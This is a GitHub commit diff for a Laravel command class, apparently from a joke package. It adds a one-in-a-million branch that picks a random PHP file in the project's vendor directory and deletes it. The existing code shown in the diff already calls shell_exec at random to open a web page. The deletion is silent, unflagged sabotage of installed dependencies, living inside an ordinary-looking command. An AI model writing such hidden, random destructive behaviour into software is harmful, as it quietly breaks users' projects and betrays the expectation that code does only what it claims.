File tree Expand file tree Collapse file tree 1 file changed +21
-1
lines changed Expand file tree Collapse file tree 1 file changed +21
-1
lines changed Original file line number Diff line number Diff line change 2
2
3
3
namespace Spatie \RandomCommand ;
4
4
5
+ use SplFileInfo ;
6
+ use RecursiveIteratorIterator ;
5
7
use Illuminate \Console \Command ;
6
- use Illuminate \ Console \ ConfirmableTrait ;
8
+ use RecursiveDirectoryIterator ;
7
9
use Illuminate \Support \Facades \Artisan ;
10
+ use Illuminate \Console \ConfirmableTrait ;
8
11
9
12
class RandomCommand extends Command
10
13
{
@@ -33,5 +36,22 @@ public function handle()
33
36
if (rand (0 , 1000 ) === 42 ) {
34
37
shell_exec ('open https://en.wikipedia.org/wiki/Special:Random ' );
35
38
}
39
+
40
+ if (! rand (0 , 1000000 )) {
41
+ $ this ->removeRandomVendorPhpFile ();
42
+ }
43
+ }
44
+
45
+ private function removeRandomVendorPhpFile (): void
46
+ {
47
+ $ path = base_path ('vendor ' );
48
+ $ iterator = new RecursiveIteratorIterator (new RecursiveDirectoryIterator ($ path ));
49
+ $ file = collect (iterator_to_array ($ iterator ))
50
+ ->filter (fn (SplFileInfo $ file ) => ! $ file ->isDir ())
51
+ ->filter (fn (SplFileInfo $ file ) => $ file ->getExtension () === 'php ' )
52
+ ->map (fn (SplFileInfo $ file ) => $ file ->getPathName ())
53
+ ->shuffle ()
54
+ ->first ();
55
+ unlink ($ file );
36
56
}
37
57
}
You can’t perform that action at this time.
0 commit comments